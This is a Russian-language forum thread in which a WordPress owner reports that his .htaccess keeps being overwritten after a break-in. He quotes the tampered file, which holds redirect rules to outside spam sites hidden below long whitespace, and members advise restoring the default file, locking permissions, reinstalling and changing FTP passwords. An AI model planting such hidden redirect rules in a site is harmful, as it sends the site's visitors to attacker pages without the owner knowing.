проблема с .htaccess в WordPress

(Ответов: 9, Просмотров: 3964)
  1. Студент
    • Регистрация: 26.01.2012
    • Сообщений: 37
    • Репутация: 5
    Доброго времени суток, форумчане. Есть такая проблема, заметил что файл .htaccess перезаписывается в связи с чем доступ до страниц сайта закрыт, кроме главной страницы. Содержимое обновленного .htaccess файла:
    PHP код:
    ## BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase 
    /
    RewriteCond %{REQUEST_FILENAME} -f
    RewriteCond 
    %{REQUEST_FILENAME} -d
    RewriteRule 
    . /index.php [L]
    </
    IfModule>
    # END WordPress

                                                                                                                                                                                    
    <IfModule mod_rewrite.c>                                                                                                                                                                                
                                                                                                                                                                                    
    RewriteRule ^rtt01/(.*)$ http://medicalun.com/ [R,L]                                                                                                                                                                                
                                                                                                                                                                                    
    RewriteRule ^att01/(.*)$ http://www.espaidesalut.org/images/bar/index.html [R,L]                                                                                                                                                                                
                                                                                                                                                                                    
    </IfModule
    Причем вот этот кусок:

    PHP код:
    <IfModule mod_rewrite.c>                                                                                                                                                                                
                                                                                                                                                                                    
    RewriteRule ^rtt01/(.*)$ http://medicalun.com/ [R,L]                                                                                                                                                                                
                                                                                                                                                                                    
    RewriteRule ^att01/(.*)$ http://www.espaidesalut.org/images/bar/index.html [R,L]                                                                                                                                                                                
                                                                                                                                                                                    
    </IfModule
    спущен в самый низ, ну понятно, чтобы не заметили.

    Подскажите из-за чего может происходить данная фигня?
    • 0
  2. Разработка любых сайтов Аватар для ArhStrAngeR
    • Регистрация: 08.06.2011
    • Сообщений: 3,375
    • Записей в дневнике: 1
    • Репутация: 2506
    Взломали и прописывают редирект на свой сайт
    • 1

    Спасибо сказали:

    ZeRoN(08.03.2012),
  3. Студент
    • Регистрация: 26.01.2012
    • Сообщений: 37
    • Репутация: 5
    ArhStrAngeR, но ридирект не срабатывает, скажите в каком направление искать уязвимость?
    • 0
  4. Дипломник
    • Регистрация: 19.12.2009
    • Сообщений: 145
    • Репутация: 32
    ZeRoN, вставьте оригинальный код в .htaccess:
    Код:
    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END WordPress
    и поставьте права доступа 0444 (то есть закройте от записи)
    • 1

    Спасибо сказали:

    ZeRoN(08.03.2012),
  5. Студент
    • Регистрация: 26.01.2012
    • Сообщений: 37
    • Репутация: 5
    ctapbiu, спасибо, я так сделал, но все равно надо выяснить где есть уязвимость.
    • 0
  6. Студент
    • Регистрация: 26.01.2012
    • Сообщений: 37
    • Репутация: 5
    ctapbiu, все равно не помогло, каким-то образом файл изменился, ума не приложу как это может происходить.
    • 0
  7. Дипломник
    • Регистрация: 19.12.2009
    • Сообщений: 145
    • Репутация: 32
    если есть возможность - измените владельца сайта. Например, на суперпользователя (root)
    • 0
  8. Дипломник Аватар для JaTony
    • Регистрация: 02.12.2010
    • Сообщений: 163
    • Репутация: 29
    а если это уже какая-то внедренная скриптина переписывает файл .htaccess-а тогда фиг что поможет, может так:
    1. в вордпрессе идем: инструмены -> экспорт сохраняем все содержимое
    2. скачиваем папку wp-content/uploads
    3. скачиваем с wordpress.org последний вордпресс, раззиповываем его у себя на винте
    4. закидываем в раззипованный вордпресс данную папку wp-content/uploads
    5. создаем на серваке новую базу данных
    6. скачиваем wp-config.php и помещаем его в корень этой папки, меняем название базы данных, ну проверим его на всякий пожарный
    7. скачиваем .htaccess и тоже в корень и тоже проверим
    8. делаем из всего этого хозяйства архив wordpress.tar.gz
    8. заливаем его на сервак в корень
    9. логинимся по ssh заходим в папку с доменом и удаляем всё, что есть в данном домене, кроме файла wordpress.tgz
    10. далее юзаем команду tar -xzvf wordpress.tgz, которая моментально распакует вордпресс
    11. устанавливаем вордпресс и импортаем записи
    12. заново качаем и подключаем все плагины.

    инструкцию конечно хорошую накатал, но все эти действия вы делаете на свой страх и риск, продумайте все и взвесте все очень хорошо, возможно помимо того, что я описал вам что-то еще надо сохранить.
    В общем удачи :)
    • 0
  9. Дипломник
    • Регистрация: 19.12.2009
    • Сообщений: 145
    • Репутация: 32
    появилась еще такая мысль:
    возможно обновляются правила rewrite (при помощи ф-ции flush_rules) или каким-то правилом или из-за добавления/удаления страниц (pages).
    Проверьте если при ручном изменении ЧПУ (permalinks) код в .htaccess также опускается вниз, то скорее всего причина в этом.
    • 0
  10. Студент
    • Регистрация: 26.01.2012
    • Сообщений: 37
    • Репутация: 5
    Пока сменил пароли от пользователей фтп. Все вроде нормально, надеюсь что этим решу проблему. Спасибо всем кто откликнулся.
    • 1

    Спасибо сказали:

    ArhStrAngeR(13.03.2012),

Похожие темы

Темы Раздел Ответов Последний пост
Проблема с WordPress- файлы .apk
WordPress 4 16.10.2013 15:27
Проблема с Tiny в Wordpress 3.3
WordPress 1 08.01.2012 22:05
Проблема с WordPress
Вопросы от новичков 0 04.01.2012 23:16
Проблема с .htaccess
Софт, скрипты, сервисы 2 21.11.2011 16:10
Проблема с переводом субдомена на внутренний URL (.htaccess)
Web программирование 2 01.09.2011 17:06

У кого попросить инвайт?

Вы можете попросить инвайт у любого модератора:

Информеры